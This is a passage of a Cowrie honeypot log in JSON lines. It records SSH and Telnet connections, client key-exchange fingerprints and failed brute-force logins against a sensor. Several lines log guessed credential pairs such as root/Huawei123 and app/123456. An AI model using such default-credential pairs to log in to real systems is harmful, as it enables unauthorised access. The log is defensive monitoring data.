.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:50:21.698730Z","src_ip":"182.253.79.194","session":"52286ce623ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qwe","message":"login attempt [test/qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:50:22.804603Z","src_ip":"182.253.79.194","session":"52286ce623ee","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:50:24.083730Z","src_ip":"122.168.114.167","session":"6cd0cef480e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:50:24.093621Z","src_ip":"122.168.114.167","session":"6cd0cef480e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:50:24.113647Z","src_ip":"182.253.79.194","session":"52286ce623ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39736,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bd3928850fd","protocol":"ssh","message":"New connection: 159.203.92.129:39736 (159.203.135.109:22) [session: 5bd3928850fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:50:32.354947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:50:32.361387Z","src_ip":"159.203.92.129","session":"5bd3928850fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:50:32.366750Z","src_ip":"159.203.92.129","session":"5bd3928850fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"123456","message":"login attempt [app/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:50:32.379421Z","src_ip":"159.203.92.129","session":"5bd3928850fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:50:33.386407Z","src_ip":"159.203.92.129","session":"5bd3928850fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:50:37.938422Z","src_ip":"122.168.114.167","session":"6cd0cef480e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.203.183.35","src_port":58736,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7b1710465f4","protocol":"ssh","message":"New connection: 2.203.183.35:58736 (159.203.135.109:22) [session: b7b1710465f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:50:41.242977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:50:41.247540Z","src_ip":"2.203.183.35","session":"b7b1710465f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:50:41.360220Z","src_ip":"2.203.183.35","session":"b7b1710465f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftp","password":"12345678","message":"login attempt [sftp/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:50:42.363740Z","src_ip":"2.203.183.35","session":"b7b1710465f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.8","message":"Connection lost after 21.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:50:43.061001Z","src_ip":"122.168.114.167","session":"6cd0cef480e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:50:43.478278Z","src_ip":"2.203.183.35","session":"b7b1710465f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":43016,"dst_ip":"159.203.135.109","dst_port":22,"session":"c30599415d36","protocol":"ssh","message":"New connection: 122.168.114.167:43016 (159.203.135.109:22) [session: c30599415d36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:50:58.778234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:51:02.437815Z","src_ip":"122.168.114.167","session":"c30599415d36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:51:02.442083Z","src_ip":"122.168.114.167","session":"c30599415d36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123","message":"login attempt [root/Huawei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:51:16.991216Z","src_ip":"122.168.114.167","session":"c30599415d36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36822,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d559b7d1a09","protocol":"ssh","message":"New connection: 159.203.92.129:36822 (159.203.135.109:22) [session: 3d559b7d1a09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:51:18.087799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:51:18.092378Z","src_ip":"159.203.92.129","session":"3d559b7d1a09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:51:18.096861Z","src_ip":"159.203.92.129","session":"3d559b7d1a09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"1234567","message":"login attempt [app/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:51:18.107211Z","src_ip":"159.203.92.129","session":"3d559b7d1a09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:51:19.112715Z","src_ip":"159.203.92.129","session":"3d559b7d1a09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.2","message":"Connection lost after 22.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:51:20.942110Z","src_ip":"122.168.114.167","session":"c30599415d36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":37998,"dst_ip":"10.17.0.5","dst_port":22,"session":"f89a0cb75618","protocol":"ssh","message":"New connection: 182.253.79.194:37998 (10.17.0.5:22) [session: f89a0cb75618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:51:26.676636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:51:26.681642Z","src_ip":"182.253.79.194","session":"f89a0cb75618","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:51:26.939328Z","src_ip":"182.253.79.194","session":"f89a0cb75618","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ali12345","message":"login attempt [root/ali12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:51:27.999516Z","src_ip":"182.253.79.194","session":"f89a0cb75618","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:51:29.260091Z","src_ip":"182.253.79.194","session":"f89a0cb75618","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.203.183.35","src_port":48314,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa916e77a4f0","protocol":"ssh","message":"New connection: 2.203.183.35:48314 (159.203.135.109:22) [session: fa916e77a4f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:51:37.105684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:51:37.109564Z","src_ip":"2.203.183.35","session":"fa916e77a4f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:51:37.219881Z","src_ip":"2.203.183.35","session":"fa916e77a4f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminn","message":"login attempt [root/adminn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:51:37.702034Z","src_ip":"2.203.183.35","session":"fa916e77a4f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:51:38.811697Z","src_ip":"2.203.183.35","session":"fa916e77a4f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":45428,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ef8b44c9a70","protocol":"ssh","message":"New connection: 122.168.114.167:45428 (159.203.135.109:22) [session: 0ef8b44c9a70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:51:40.476015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:51:42.615776Z","src_ip":"122.168.114.167","session":"0ef8b44c9a70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:51:42.621430Z","src_ip":"122.168.114.167","session":"0ef8b44c9a70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":37578,"dst_ip":"159.203.135.109","dst_port":23,"session":"4749e2715593","protocol":"telnet","message":"New connection: 103.233.1.130:37578 (159.203.135.109:23) [session: 4749e2715593]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:51:45.174903Z"}
